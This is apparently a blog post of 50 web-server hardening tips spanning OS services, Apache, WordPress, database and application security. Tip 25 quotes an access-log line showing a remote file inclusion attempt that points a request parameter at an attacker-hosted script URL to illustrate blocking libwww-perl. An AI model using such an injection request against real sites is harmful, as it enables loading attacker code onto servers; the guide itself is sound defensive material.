A Web server connected to the internet is often the target of various exploit attempts. Since the pages served by the Web Server are publicly accessible by anyone, they are subject to attack by hackers. According to the recent study, almost ninety thousand WordPress powered websites were hacked. Hackers can steal valuable information, which result in significant revenue loss to the E-commerce and financial companies. For others, the loss of data and then embarrassingly serious damage to the image of an organization.
Hackers makes use of the security flaws posed by the web servers, operating system, applications and Content Management Systems (CMS). Attackers has handful of tools and hacking techniques to exploit the security flaws exposed by your web servers.
There is no way to completely secure any server! It’s not a shame, but its time to awake and take some necessary steps to harden the security of your Web Servers.
Configure Operating system with Best practices
Operating System are developed by the vendors, so they come with default configuration that primarily focuses on vendor specific functions and features. The first thing in securing the server is to secure the underlying Operating System.
1. Remove unwanted services
Less is better. Minimize the operating system with only necessary services and packages. You should remove the unwanted services and packages. For example, If you are running a Web Server, then you might want to disable ‘Telnet, NetBIOS, NIS, FTP, NFS, autofs, Bluetooth, Cups (i don’t think, you need a printing service on a server), NTP (if your application is not time sensitive), Bind (you don’t run a DNS server right?), ypbind (if you don’t bind to NIS server) etc…To know what services are started during the system boot, run the below command.
$chkconfig --list | grep '3:on'
Sample output,
acpid 0:off 1:off 2:on 3:on 4:on 5:on 6:off anacron 0:off 1:off 2:on 3:on 4:on 5:on 6:off atd 0:off 1:off 2:off 3:on 4:on 5:on 6:off auditd 0:off 1:off 2:on 3:on 4:on 5:on 6:off cpuspeed 0:off 1:on 2:on 3:on 4:on 5:on 6:off crond 0:off 1:off 2:on 3:on 4:on 5:on 6:off dkms_autoinstaller 0:off 1:off 2:on 3:on 4:on 5:on 6:off ------------------------------------
To turn off the service,
$service acpid stop
To prevent the service from starting at the boot,
$chkconfig acpid off
2. Have only few user accounts
Create only necessary user accounts and set passwords to meet the secure password guidelines. If you are sure there won’t be any more user accounts creation, then follow : How to stop creating new users ?
3. Avoid common User names
Avoid common user names; for instance, apache, mysql, postgres etc…Most of the attackers, try to search for these common user accounts on a server. Well, those are the user accounts created by the services, but sometimes the user accounts having names such as ‘henry’, ‘sam’, ‘root’, ‘admin’, ‘bob’ etc…are more vulnerable to brute-force attacks. Most importantly, never create user accounts in the name of your website or service.
4. Force Password change
Enforce password change to every user account by setting password expiry policy. I know, this is not the most convincing policy (in user point of view), but you are left with no choice. According to the study, 20% of the internet accounts have passwords as ‘123456’. Be careful while choosing your passwords.
5. Disable ‘root’ account
As I told in earlier, disable ‘root’ account. Checkout this article to disable remote login to root account.
6. Enable Firewall
Run your website or service behind firewall. Linux comes with default firewall, which should be sufficient enough to secure any website. Open only necessary ports and drop the rest.
7. Enable LogWatch
LogWatch is a customizable, pluggable, log monitoring system for Linux. Logwatch collects informations such as Kernel errors, boot errors, mailbox status, disk space, data transfers, incoming connections (which includes authorized and unauthorized logins), sudo traces, packages installed etc…LogWatch can be configured to send daily reports to your email-id. Keep track of invalid login attempts from unauthorized IPs and blacklist those.
8. Disable ICMP Packets
Disable Ping requests to your server. Though ping is an useful utility to monitor your network connectivity, it can also bog down your network. Learn how to disable Ping/Traceroute requests to your server?
9. Update Kernel regularly
I know, this is not the easiest thing to do. But it is very important to run the latest version of Kernel. For instance, the kernel with bugs can allow hacker to sneak into your system. There are plenty of tools that allows an attacker to gain root access by exploiting the Kernel bugs.
Learn how to upgrade Kernel on CentOS/RHEL/Fedora Linux
10. Run Yum Update regularly
Like Kernel, every package installed on your system might have bugs and they can allow an attacker to gain access to your system. Update all the packages regularly, by running yum update. You can follow this guide to configure YUM and its usage examples.
yum update
11. Using Windows server? Install Anti-Virus
If you are running a Windows based servers, then install Anti-Virus programs with latest signatures.
12. Allow SSH from only trusted hosts
Allow SSH access to your server from only valid domains or hosts. To do that, you can configure hosts.allow with trusted domains as shown below,
ALL: 14.129.*.*, 202.83.*.*, 203.200.*.* : allow
Allow SSH access only to specific user accounts
You can also choose to allow only specific user accounts to login from a remote host. To do that, follow this tutorial : How to allow or deny remote login to specific user accounts on Linux server
Web Server Configurations
13. Install Web Server package in a CHROOT cage.
The chroot utility allows to jail a daemon in a restricted environment. It is normally used to insulate services from one another, so that the security issue in a package doesn’t harm the whole server. So install your web server package in a chroot cage.
14. Disable Directory Listing
One of the most important security setting in Apache is, Disabling Directory listing. “Directory Listing” is enabled by default, it is always a good idea to disable it. To do that, set Options directive to ‘None’ or ‘-Indexes‘.
<Directory /> Options None Order allow,deny Allow from all </Directory> (or) <Directory /> Options -Indexes Order allow,deny Allow from all </Directory>
15. Disable Web Server version reporting
It’s always a good idea to disable the web server type and its version reporting. You should configure the Web Server to prevent reporting its signature information on error pages such as Forbidden access or Page not found. To do that, open http.conf file and set as below,
ServerSignature Off ServerTokens Prod
16. Run Web Server as no-login user
Always run httpd daemon as no-login user. It means, the user account with least possible privileges. To do that, open passwd file and make the below change.
hdaemon:x:48:48:hdaemon:/var/www:/sbin/nologin
17. Disable Unwanted DSO modules
By default, Apache loads plenty of Dynamic Shared Object (DSO) modules in httpd.conf file. It is a good idea to disable all the unwanted modules. To do that,
grep LoadModule /etc/httpd/conf/httpd.conf
However the path of httpd.conf might vary on your system. The command will list all the modules loaded by Apache. Comment out the unwanted modules to reduce the vulnerability.
18. Set correct permission to Conf and Bin directory
Remember to set proper permission to Apache configuration and bin directory. It’s necessary to allow only authorized users to view the conf files. To do that, you can group set of authorized users and provide permission as below.
To set permission for apache bin directory,
chown -R root:apachegr /usr/local/apache/bin chmod -R 770 /usr/local/apache/bin
To set permission for apache conf file
chown -R root:apachegr /usr/local/apache/conf chmod -R 770 /usr/local/apache/conf
19. Choose modules/scripts carefully
As I told earlier, removing the unwanted modules is a good idea. At the same time, you should consider security implications while implementing modules, plugins and scripts.
20. Secure Web Server Administration Pages
For instance, Apache Tomcat will come with an Administration page where you can deploy applications. Such pages should be served after Two-step authentication process. Probably, a htaccess authorization will do good.
For instance, learn how to secure your WordPress Admin page with Two-step authentication. The same process should work for any web server administration page as well.
21. Hide PHPMyAdmin from Public
Do you really need PHPMyAdmin kind of clients? If yes, never install such clients in Public HTML directory.
22. Create Separate Log files for Virtual Hosts
It’s good to create separate log files for each Virtual Host in Apache that are part of a single physical server.
<VirtualHost *.*.*.*:80> ServerName www.example.com ServerAlias example.com ServerAdmin contact@example.com DocumentRoot /var/www/example <Directory "/var/www/example"> AllowOverride None Options -Indexes Order allow,deny Allow from all </Directory> ErrorLog logs/example_error.log CustomLog logs/example_access.log
This allows you to keep track of each website errors and access logs without much hassle.
23. Employ Web Authentication and Encryption technologies when needed
You should employ web authentication and encryption technologies such as SSL/TLS based on the nature of Web Server data. For example, Private, Confidential, Sensitive etc…
24. Disable Open Proxy on Apache
Mod_proxy module of Apache implements Proxy/gateway for your web server. Though it is useful to perform “Proxy Pass” to web pages hosted on private servers, you should consider disabling “ProxyRequests”. Enabling proxying with ProxyRequests will act as Open proxy and it is dangerous to your network and to the Internet at large.
ProxyRequests Off
25. Disable libwww-perl on Apache
libwww-perl (LWP) is a WWW client/server library for Perl and it can help many hackers, spammers and bots to perform attacks on your site. To check whether your website has libwww-perl enabled, run the below command.
$ grep ‘libwww-perl’ access_log
Do you see something like below in the output?
190.85.10.147 www.domain.com - [21/Aug/2013:21:22:38 +0000] "GET /webdir/yesno.phtml?no_url=http://www.hackersite.com/list1.txt? HTTP/1.1" 200 72672 "-" "libwww-perl/5.76"
It means, some hacker is trying to use the security hole and install a backdoor pages. So libwww-perl useragent have to be blocked to prevent any such attacks on your website. Learn how to block it?
26. Have minimum possible executable code
Ensure less executable code on your Web server. Remove all sample files, scripts, manuals and executable code from the Web server public html directory.
WordPress Security
27. Using CMS? Keep it up-to-date
If you are using Content Management System (CMS) like WordPress, Joomla, drupal etc…Make sure you always run the latest version..
28. Secure CMS Login Pages
It’s recommended to secure the CMS Login pages with Two-step authentication. This can be achieved using .htaccess.
29. Disable default CMS user accounts
What’s the username of your WordPress administrator account? I hope it is not ‘admin’ or any other common username. For example, if your name is ‘Henry’, then don’t create an account in the name of ‘henry’. The hackers has a huge collection of common username and password, which is later used for Brute force attack on wordpress blogs. Learn how to change the default ‘admin’ username in WordPress?
30. Use Best Security Plugin for WordPress
Secure your website by using Popular security plugins. Such plugins assess your WordPress and lists down the elements that you should consider securing. Checkout this guide which talks about Popular WordPress Security Plugins.
31. Lock accounts after Invalid login attempts
You might want to lock down user accounts after set number of invalid login attempts. This comes handy, when an attacker tries as many invalid passwords before finding the correct one. Such attacks are achieved using Brute-force and Dictionary methods. So it is important to lock those accounts after the set number of Invalid login attempts. To do that, checkout this guide.
32. Have only minimum possible accounts
What should you do, if one of your author leaves the job with tons of posts written? You can choose to delete the account (by moving the posts to other account), but you should also remember that he/she had written tons of articles and you should still give credit to them. So the ideal way is to disable the user account and leave the posts in their name. Most importantly, you cannot leave those accounts opened, as it will allow attackers to gain access to it. Using ‘User Lock Plugin‘, you can disable those unused accounts. This will ensure, you have only minimum possible accounts in WordPress.
Learn more about User Lock Plugin.
33. Disable WordPress version information
Lets do a quick check of your WordPress source code. Right click on your WordPress article page and click view source. If you carefully see HTML source code, you will notice that few JavaScripts and stylesheets are taking query string arguments. These query strings mostly denote the version of your WordPress or plugin that you are using. Here’s an example of one such javascript and stylesheet.
http://websitename.com/somejavascript.js?ver=3.4.2 http://websitename.com/somestyle.css?ver=3.4.2
As you can see, the query strings takes wordpress version or plugin version as argument and that doesn’t do any good to your website. These information actually provides hint to the hacker. So you should consider removing those query strings from WordPress html output. To do that, head on to : How to remove query string from WordPress URL and Why you should?. Removing the query string will also benefit in SEO aspect.
34. Add WordPress Security Keys
WordPress security keys were introduced in WordPress 2.6, which are randomly generated variables that encrypts the information stored in user’s cookie. Learn to generate Unique security keys for site.
35. Remove unwanted WordPress tags
By default, WordPress adds plenty of meta tags that might not be needed for your website. Make sure to keep your code as clean as possible. Learn to remove unwanted WordPress meta tags.
36. Remove WordPress Logo in Admin page
By default, wp-admin page will have WordPress logo displayed. It’s recommended to replace it with your own website logo. Well, this might not make big difference, but little for sure.
To do that, copy and paste the below snippet in function.php.
function custom_login_logo() { echo '<style type="text/css"> h1 a { background-image: url('.get_bloginfo('template_directory').'/images/logo.png) !important; } </style>'; } add_action('login_head', 'custom_login_logo');
Database Security
37. Upgrade Database
Keep your database up-to-date with latest bug fixes, patches and releases. Howover before updating database, make sure your code is compatible with the latest version.
38. Run database server as least privileged user
It’s always a good idea to run service as no-login user, but however certain database servers needs user accounts to be created with login permission. In such cases, run database server as a user with least privileges.
39. Do you really need Web based clients?
If you choose to use PHPMyAdmin or Postgresql web client, then make sure you really want it. If you prefer to use one, then make sure it is not publicly accessible.
40. Remove unused database accounts
Perform regular audit to ensure that you have only necessary database accounts. Remove all the unwanted or unused user accounts.
41. Allow connections only from trusted domains
Whitelist the valid domains or hosts that you wish to connect to database and GRANT necessary privileges. In case of MySQL, execute the below query as admin user.
GRANT ALL PRIVILEGES ON database.* TO 'username'@'trusted_domainname' IDENTIFIED BY 'securepassword';
Application Security
Apart from the above said security measures, one should also follow best coding practices while developing an application. You might ask me, why I’m speaking about application security for securing Web servers. Well, finally applications are going to run in a web server isn’t?
42. Consider security implications while choosing Technologies
One should consider all the security implications while choosing technologies. For instance, various client side technologies such as applets, vbscript, JavaScripts, flash etc…has its own strengths and weakness (along with associated risks). Similarly server side technologies such as JSP, PHP, ASP, Servlets comes with its own strengths and weakness. The technology should be used for implementation after careful consideration.
43. Don’t launch code with SUID
If the applications are to be deployed on UNIX based machines, then the code should not run as SUID. SETUID programs are dangerous, if they are not written with proper care.
44. Inputs received by application should be scanned
If the application are designed to receive input data from users, then such data should be verified against malicious input.
45. Avoid Information Leakage
Avoid information leakage via comments, explicit application and system errors or exceptions.
46. Remove unwanted codes
As I told earlier, less is better. Remove unwanted code snippets and files that are not related to the application.
47. Beware of spamming, while creating online forms
Some applications contain online forms to forward links or documents on the website as mail. It is recommended that the mail should not be allowed to any external e-mail addresses, as it can be used to SPAM external users.
48. Beware of SQL Injections, Cross-site scripting attacks
Consider security implications while writing code to prevent SQL Injections, cross-site scripting errors. To know more about SQL Injections, checkout this cheat sheet.
Credits: By Veracode
49. Backup! Backup! Backup!
I need not explain about it. The title says it all.
Apart from periodic backups, you should also take necessary backup before updating any software or package.
50. Subscribe to security related announcements
You might also subscribe to appropriate mailing lists and/or web sites for security-related announcements and updates. For instance, If you are using WordPress, subscribe to WordPress mailing lists to keep track of bug fixes and patches.
If you like this article, consider subscribing with us.
Disclaimer: I’m not a security expert, but I learnt few best practices from my friends, colleagues and of course from the internet. Please let me know your suggestions, so that it can be added to the list (of course with credits to you).